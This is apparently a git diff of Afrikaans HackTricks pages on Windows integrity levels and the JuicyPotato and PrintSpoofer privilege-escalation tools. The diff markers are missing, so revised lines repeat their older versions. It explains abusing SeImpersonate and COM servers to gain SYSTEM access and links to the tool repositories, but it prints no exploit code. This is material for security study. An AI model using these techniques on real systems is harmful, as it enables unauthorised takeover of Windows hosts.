* **Installeerder**: 'n Unieke vlak wat bo al die ander staan, wat voorwerpe op hierdie vlak in staat stel om enige ander voorwerp te deïnstalleer.
* **Installeerder**: 'n Unieke vlak wat bo alle ander staan, wat voorwerpe op hierdie vlak in staat stel om enige ander voorwerp te deïnstalleer.
Jy kan die integriteitsvlak van 'n proses verkry met **Process Explorer** van **Sysinternals**, deur toegang te verkry tot die **eienskappe** van die proses en die "**Sekuriteit**" oortjie te besigtig:
Jy kan die integriteitsvlak van 'n proses verkry met **Process Explorer** van **Sysinternals**, deur die **eienskappe** van die proses te benader en die "**Sekuriteit**" oortjie te besigtig:
![](<../../.gitbook/assets/image (824).png>)
@ -50,7 +36,7 @@ Jy kan ook jou **huidige integriteitsvlak** verkry met `whoami /groups`
![](<../../.gitbook/assets/image (325).png>)
### Integriteitsvlakke in lêerstelsel
### Integriteitsvlakke in die lêerstelsel
'n Voorwerp binne die lêerstelsel mag 'n **minimum integriteitsvlak vereiste** benodig en as 'n proses nie hierdie integriteitsvlak het nie, sal dit nie in staat wees om daarmee te kommunikeer.\
Byvoorbeeld, laat ons **'n gewone lêer van 'n gewone gebruiker-konsol skep en die toestemmings nagaan**:
@ -115,30 +101,3 @@ Vir nuuskierige mense, as jy 'n hoë integriteitsvlak aan 'n binêre toewys (`ic
Nie alle lêers en vouers het 'n minimum integriteitsvlak nie, **maar alle prosesse loop onder 'n integriteitsvlak**. En soortgelyk aan wat met die lêerstelsel gebeur het, **as 'n proses binne 'n ander proses wil skryf, moet dit ten minste dieselfde integriteitsvlak hê**. Dit beteken dat 'n proses met 'n lae integriteitsvlak nie 'n handvatsel met volle toegang tot 'n proses met 'n medium integriteitsvlak kan oopmaak nie.
As gevolg van die beperkings wat in hierdie en die vorige afdeling bespreek is, is dit altyd **aanbeveel om 'n proses in die laagste moontlike integriteitsvlak te laat loop**.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -10,27 +10,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle te beveg wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
{% hint style="warning" %}
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10 weergawe 1809 en later nie. egter, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) kan gebruik word om **die selfde voorregte te benut en `NT AUTHORITY\SYSTEM`** vlak toegang te verkry. _**Kyk:**_
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10 bou 1809 en later nie. egter, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) kan gebruik word om **die selfde voorregte te benut en `NT AUTHORITY\SYSTEM`** vlak toegang te verkry. _**Kyk:**_
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %}
@ -51,13 +37,13 @@ _'n gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/
Ons het besluit om [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) te wapen: **Sê hallo aan Juicy Potato**.
> Vir die teorie, sien [Rotten Potato - Voorreg Eskalasie van Diens Rekeninge na SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) en volg die ketting van skakels en verwysings.
> Vir die teorie, sien [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) en volg die ketting van skakels en verwysings.
Ons het ontdek dat, behalwe `BITS`, daar 'n aantal COM bedieners is wat ons kan misbruik. Hulle moet net:
1. deur die huidige gebruiker instantiëerbaar wees, normaalweg 'n “diens gebruiker” wat impersonasie voorregte het
2. die `IMarshal` koppelvlak implementeer
3. as 'n verhoogde gebruiker (SYSTEM, Administrator, …) loop
3. as 'n verhoogde gebruiker (SYSTEM, Administrateur, …) loop
Na 'n paar toetse het ons 'n uitgebreide lys van [interessante CLSID's](http://ohpe.it/juicy-potato/CLSID/) op verskeie Windows weergawes verkry en getoets.
@ -74,8 +60,8 @@ JuicyPotato laat jou toe om:
* `albei`
* **Proses om te begin** _begin 'n uitvoerbare of skrip as die uitbuiting slaag_
* **Proses Argument** _pas die begin proses argumente aan_
* **RPC Server adres** _vir 'n stealthy benadering kan jy autentiseer by 'n eksterne RPC bediener_
* **RPC Server poort** _nuttig as jy wil autentiseer by 'n eksterne bediener en die vuurmuur blokkeer poort `135`…_
* **RPC Bediener adres** _vir 'n stealthy benadering kan jy autentiseer by 'n eksterne RPC bediener_
* **RPC Bediener poort** _nuttig as jy wil autentiseer by 'n eksterne bediener en die vuurmuur blokkeer poort `135`…_
* **TOETS modus** _hoofsaaklik vir toetsdoeleindes, d.w.s. toets CLSIDs. Dit skep die DCOM en druk die gebruiker van die token. Sien_ [_hier vir toetsing_](http://ohpe.it/juicy-potato/Test/)
### Gebruik <a href="#usage" id="usage"></a>
@ -103,7 +89,7 @@ As die gebruiker `SeImpersonate` of `SeAssignPrimaryToken` regte het, dan is jy
Dit is byna onmoontlik om die misbruik van al hierdie COM Servers te voorkom. Jy kan dink aan die aanpassing van die regte van hierdie voorwerpe via `DCOMCNFG`, maar goeie geluk, dit gaan uitdagend wees.
Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die `* SERVICE` rekeninge loop, te beskerm. Om `DCOM` te stop, sal beslis hierdie uitbuiting inhibeer, maar kan 'n ernstige impak op die onderliggende OS hê.
Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die `* SERVICE` rekeninge loop, te beskerm. Om `DCOM` te stop, sal beslis hierdie ontploffing inhibeer, maar kan 'n ernstige impak op die onderliggende OS hê.
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
@ -152,17 +138,6 @@ Laai dan [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Tes
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -172,8 +147,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,25 +15,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
{% hint style="warning" %}
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10 bou 1809 en later nie. Tog kan [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** gebruik word om **die selfde voorregte te benut en `NT AUTHORITY\SYSTEM`** vlak toegang te verkry. Hierdie [blogpos](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan in-diepte in op die `PrintSpoofer` hulpmiddel, wat gebruik kan word om impersonasie voorregte op Windows 10 en Server 2019 gasheer te misbruik waar JuicyPotato nie meer werk nie.
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10 weergawe 1809 en later nie. Tog kan [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** gebruik word om **die selfde voorregte te benut en `NT AUTHORITY\SYSTEM`** vlak toegang te verkry. Hierdie [blogpos](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan in diepte in op die `PrintSpoofer` hulpmiddel, wat gebruik kan word om impersonasie voorregte op Windows 10 en Server 2019 gasheer te misbruik waar JuicyPotato nie meer werk nie.
{% endhint %}
## Vinnige Demo
## Vinige Demo
### PrintSpoofer
```bash
@ -117,17 +103,6 @@ nt authority\system
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\